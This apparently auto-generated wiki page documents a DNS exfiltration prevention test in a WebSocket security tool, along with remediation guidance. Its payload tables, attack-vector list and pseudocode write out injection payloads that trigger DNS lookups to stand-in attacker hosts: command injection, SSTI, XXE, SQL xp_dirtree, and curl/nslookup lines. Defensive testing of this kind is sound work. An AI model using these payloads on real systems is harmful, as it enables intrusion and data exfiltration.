DNS Exfiltration Prevention Test
DNS Exfiltration Prevention Test
The following files were used as context for generating this wiki page:
Purpose and Scope
This document describes the DNS Exfiltration Prevention Test, one of four defensive validation tests available in WSHawk's wshawk-defensive mode. This test validates whether network egress filtering effectively blocks DNS-based data exfiltration attempts, a common technique used in Advanced Persistent Threat (APT) campaigns and post-exploitation scenarios.
For information about other defensive validation tests, see Bot Detection Validation Test, CSWSH Test, and WSS Protocol Security Validation. For an overview of defensive validation capabilities, see Defensive Mode Overview.
Sources: README.md:199-213, CHANGELOG.md:59-61
DNS Exfiltration Attack Overview
DNS exfiltration exploits the DNS protocol to tunnel sensitive data out of a network. Because DNS traffic is typically permitted through firewalls and rarely monitored at the application layer, attackers encode stolen data into DNS queries, bypassing traditional egress controls.
Attack Characteristics
| Characteristic | Description | |----------------|-------------| | Protocol | DNS (UDP port 53, TCP port 53) | | Evasion Technique | Legitimate-looking protocol traffic | | Bypass Target | Egress filtering, DLP, application firewalls | | Detection Difficulty | High - blends with normal DNS traffic | | APT Usage | Common in multi-stage exfiltration campaigns |
Common Encoding Methods
- Subdomain Encoding:
<base64_data>.attacker.com - TXT Record Queries: Large payloads split across multiple queries
- Chunked Transmission: Data split into DNS label size limits (63 bytes)
- Timing-Based Covert Channels: Query timing encodes information
Sources: README.md:210-213
Test Execution Flow
The DNS Exfiltration Prevention Test operates by attempting multiple DNS exfiltration patterns through the WebSocket connection, then validating whether the network's egress controls blocked these attempts.
Diagram: DNS Exfiltration Test Architecture
graph TB
DefensiveCmd["wshawk-defensive<br/>CLI Command"]
subgraph "Test Orchestration"
DefModule["DefensiveValidationModule<br/>wshawk/defensive_validation.py"]
DNSTest["test_dns_exfiltration()<br/>Method"]
end
subgraph "Payload Generation"
BasePayload["Base Exfiltration Payloads"]
EncodedData["Encode Test Data<br/>base64/hex/chunked"]
SubdomainGen["Generate Malicious Subdomains<br/>test-<uuid>.attacker.dns"]
end
subgraph "WebSocket Injection"
WSConn["WebSocket Connection<br/>ws://target"]
PayloadInject["Inject DNS Trigger Payloads<br/>JSON/XML message fields"]
ResponseCapture["Capture Server Response<br/>Timing & Error Analysis"]
end
subgraph "Verification Layer"
DNSMonitor["DNS Query Monitoring<br/>Expected Queries"]
EgressCheck["Egress Filter Validation<br/>Did queries reach internet?"]
ConfScore["Confidence Scoring<br/>BLOCKED / ALLOWED"]
end
subgraph "Reporting"
CVSSCalc["CVSS v3.1 Scoring<br/>Base Score Calculation"]
Report["Defensive Validation Report<br/>HTML/JSON/SARIF"]
Remediation["Remediation Guidance<br/>DNS Sinkhole/Egress Rules"]
end
DefensiveCmd --> DefModule
DefModule --> DNSTest
DNSTest --> BasePayload
BasePayload --> EncodedData
EncodedData --> SubdomainGen
SubdomainGen --> PayloadInject
PayloadInject --> WSConn
WSConn --> ResponseCapture
ResponseCapture --> DNSMonitor
DNSMonitor --> EgressCheck
EgressCheck --> ConfScore
ConfScore --> CVSSCalc
CVSSCalc --> Report
Report --> Remediation
Sources: README.md:203-206, CHANGELOG.md:60
Test Methodology
Phase 1: Baseline WebSocket Connection
The test begins by establishing a standard WebSocket connection to the target endpoint to analyze message structure and available injection points.
- Connection Establishment: Connect to target using
websocketslibrary - Message Format Analysis: Use
MessageAnalyzerto detect JSON/XML/binary formats - Field Mapping: Identify injectable fields within message structure
- Authentication Handling: Maintain session state if authentication is required
Phase 2: DNS Exfiltration Payload Injection
Multiple DNS exfiltration patterns are injected through the WebSocket connection:
| Pattern Type | Example Payload | Detection Method |
|-------------|-----------------|------------------|
| Subdomain Query | curl http://exfil-<uuid>.attacker.com | Monitor for external DNS queries |
| Encoded Data | nslookup <base64_data>.evil.dns | Track data-bearing subdomains |
| Chunked Transfer | Multiple queries with sequence IDs | Detect coordinated query patterns |
| TXT Record Abuse | Request large TXT records | Bandwidth analysis |
| Tunneling Protocol | DNS2TCP, Iodine-style payloads | Protocol fingerprinting |
Phase 3: Egress Validation
The test validates whether DNS queries reached external resolvers:
graph LR
Inject["Payload Injected<br/>via WebSocket"]
ServerProc["Target Server<br/>Processes Message"]
Decision{"Egress<br/>Filter Active?"}
Blocked["Query Blocked<br/>DNS Sinkhole/Firewall"]
Allowed["Query Reaches<br/>External Resolver"]
Pass["Test Result: PASS<br/>Exfiltration Prevented"]
Fail["Test Result: FAIL<br/>Exfiltration Possible"]
Inject --> ServerProc
ServerProc --> Decision
Decision -->|"Yes"| Blocked
Decision -->|"No"| Allowed
Blocked --> Pass
Allowed --> Fail
Sources: README.md:210-213
Attack Vectors Tested
The DNS Exfiltration Prevention Test validates defenses against these specific vectors:
1. Command Injection with DNS
Attempts to trigger OS-level DNS queries through command injection:
- Payload Pattern:
"; nslookup exfil.attacker.com #" - Target: Command injection vulnerabilities in message processing
- Detection: Subprocess execution, shell command parsing
2. SSRF-Based DNS Queries
Exploits Server-Side Request Forgery to make DNS queries:
- Payload Pattern:
{"url": "dns://exfil.attacker.com"} - Target: URL parsers, HTTP clients with SSRF vulnerabilities
- Detection: Outbound DNS resolution from application layer
3. Template Injection DNS
Uses SSTI to trigger DNS resolution:
- Payload Pattern:
{{''.__class__.__mro__[1].__subclasses__()[104]('nslookup exfil.dns')}} - Target: Template engines (Jinja2, Mako, etc.)
- Detection: Template evaluation leading to OS calls
4. XXE with External DTD
XML External Entity processing for DNS exfiltration:
- Payload Pattern:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://exfil.dns/%file;">]> - Target: XML parsers, document processing
- Detection: External entity resolution requests
5. Blind SQL Injection with DNS
Database-level DNS exfiltration via SQL functions:
- Payload Pattern:
'; EXEC xp_dirtree '\\exfil.dns\share' -- - Target: SQL injection points with DNS resolution capabilities
- Detection: Database-initiated DNS queries (MS SQL, Oracle)
Sources: README.md:50-51
Detection Criteria and Confidence Scoring
Diagram: Detection Decision Tree
graph TB
Start["DNS Exfiltration Test Start"]
Inject["Inject DNS Trigger Payloads<br/>5+ Pattern Types"]
Monitor["Monitor for:<br/>1. External DNS queries<br/>2. Server response timing<br/>3. Error messages"]
Check1{"DNS Queries<br/>Detected?"}
Check2{"Queries Reached<br/>External Resolver?"}
Check3{"Server Error<br/>Indicates Blocking?"}
High["HIGH Confidence<br/>Exfiltration Blocked"]
Medium["MEDIUM Confidence<br/>Partial Blocking"]
Low["LOW Confidence<br/>Inconclusive"]
Critical["CRITICAL Finding<br/>Exfiltration Possible"]
Start --> Inject
Inject --> Monitor
Monitor --> Check1
Check1 -->|"No queries observed"| Check3
Check1 -->|"Queries detected"| Check2
Check2 -->|"Blocked at egress"| High
Check2 -->|"Reached internet"| Critical
Check3 -->|"Firewall/WAF errors"| High
Check3 -->|"Normal processing"| Low
Confidence Levels
| Level | Criteria | CVSS Severity | Implication | |-------|----------|---------------|-------------| | BLOCKED (PASS) | No external DNS queries observed | N/A (Secure) | Egress filtering effective | | PARTIALLY_BLOCKED | Some vectors blocked, others allowed | MEDIUM (5.0-6.9) | Inconsistent filtering | | ALLOWED (FAIL) | External DNS queries succeeded | HIGH (7.0-8.9) | No egress protection | | CRITICAL | Data exfiltration confirmed | CRITICAL (9.0-10.0) | Active data leakage possible |
Sources: README.md:46
Interpreting Test Results
Successful Defense (PASS)
[PASS] DNS Exfiltration Prevention Test
├── Status: BLOCKED
├── Confidence: HIGH
├── Evidence:
│ ├── 0 of 5 DNS queries reached external resolvers
│ ├── Server returned egress filtering errors
│ └── No timing anomalies detected
└── Recommendation: Current defenses are effective
Indicators:
- No DNS queries observed at monitoring endpoints
- Server logs show firewall/egress blocking errors
- Response timing consistent with blocked requests
- DNS sinkhole/blackhole records detected
Failed Defense (FAIL)
[FAIL] DNS Exfiltration Prevention Test
├── Status: ALLOWED
├── Confidence: HIGH
├── CVSS: 8.2 (HIGH)
├── Evidence:
│ ├── 5 of 5 DNS queries reached external resolvers
│ ├── Test data successfully exfiltrated via subdomain encoding
│ └── No egress controls detected
└── Recommendation: IMMEDIATE ACTION REQUIRED
Indicators:
- DNS queries successfully reached external authoritative nameservers
- Encoded test data recovered from DNS query logs
- No blocking mechanisms detected at network or application layer
- Server processes DNS queries without validation
Sources: README.md:46, README.md:176-183
Remediation Guidance
Network-Level Controls
| Control | Implementation | Effectiveness | |---------|----------------|---------------| | DNS Sinkholing | Redirect suspicious domains to internal resolver | HIGH | | Egress Filtering | Block outbound UDP/53 except to known resolvers | HIGH | | DNS Proxy Enforcement | Force all DNS through internal proxy | VERY HIGH | | Query Pattern Analysis | Monitor for unusual subdomain patterns | MEDIUM | | Rate Limiting | Limit DNS queries per host/service | MEDIUM |
Application-Level Hardening
-
Input Validation
- Sanitize all user input before passing to system calls
- Implement strict allow-lists for URL schemes
- Validate XML/JSON structure before parsing
-
Least Privilege
- Run WebSocket servers without network access
- Use dedicated service accounts with restricted permissions
- Implement network segmentation
-
Monitoring and Detection
- Log all DNS queries from application servers
- Alert on long subdomain queries (>50 characters)
- Detect base64/hex-encoded patterns in DNS labels
- Monitor for sequential query patterns
DNS Security Configuration
# Example: DNS Security Policy
dns_security:
sinkhole:
enabled: true
domains:
- "*.attacker.com"
- "*.exfil-test.*"
egress_filter:
allowed_resolvers:
- "10.0.0.53" # Internal resolver only
block_external: true
monitoring:
log_all_queries: true
alert_on_patterns:
- subdomain_length > 50
- query_rate > 100/min
- encoded_data_detected: true
Reference Implementation
The defensive validation module should implement these checks:
# Pseudocode reference (not actual code)
# Likely in: wshawk/defensive_validation.py
async def test_dns_exfiltration(websocket_url):
"""
Test DNS exfiltration prevention.
Returns:
dict: Test results with confidence score and evidence
"""
# 1. Generate unique test identifier
test_uuid = generate_uuid()
# 2. Inject DNS trigger payloads
payloads = [
f"nslookup exfil-{test_uuid}.attacker.com",
f"curl http://{encode_base64(data)}.dns.evil",
# ... additional patterns
]
# 3. Send via WebSocket
for payload in payloads:
await send_message(websocket_url, payload)
# 4. Monitor for external DNS queries
detected_queries = await monitor_dns_queries(test_uuid, timeout=30)
# 5. Calculate confidence and generate report
if len(detected_queries) == 0:
return {"status": "BLOCKED", "confidence": "HIGH"}
else:
return {"status": "ALLOWED", "confidence": "HIGH",
"cvss": calculate_cvss(8.2)}
Sources: README.md:234-239, CHANGELOG.md:60
Execution Example
Command-Line Usage
# Run all defensive validation tests
wshawk-defensive ws://your-server.com
# Run only DNS exfiltration test (if supported)
wshawk-defensive ws://your-server.com --test dns-exfil
# With custom monitoring endpoint
wshawk-defensive ws://your-server.com \
--dns-monitor dns.monitoring.internal
Docker Execution
# Run defensive tests in containerized environment
docker run --rm rothackers/wshawk \
wshawk-defensive ws://target.internal
# With network isolation for testing
docker run --rm --network=isolated \
rothackers/wshawk wshawk-defensive ws://target
Sources: README.md:76-77, README.md:203-206
Integration with Other Tests
The DNS Exfiltration Prevention Test is one component of comprehensive defensive validation:
graph TB
DefensiveMode["wshawk-defensive<br/>Orchestrator"]
Test1["DNS Exfiltration<br/>Prevention Test"]
Test2["Bot Detection<br/>Validation Test"]
Test3["CSWSH Test<br/>Origin Validation"]
Test4["WSS Protocol<br/>Security Test"]
Report["Consolidated<br/>Defensive Report"]
Score1["Egress Control Score"]
Score2["Bot Protection Score"]
Score3["CSRF Protection Score"]
Score4["TLS Security Score"]
Overall["Overall Security<br/>Posture Assessment"]
DefensiveMode --> Test1
DefensiveMode --> Test2
DefensiveMode --> Test3
DefensiveMode --> Test4
Test1 --> Score1
Test2 --> Score2
Test3 --> Score3
Test4 --> Score4
Score1 --> Overall
Score2 --> Overall
Score3 --> Overall
Score4 --> Overall
Overall --> Report
This holistic approach ensures comprehensive validation of all defensive controls protecting WebSocket endpoints.
Sources: README.md:208-231, CHANGELOG.md:59-72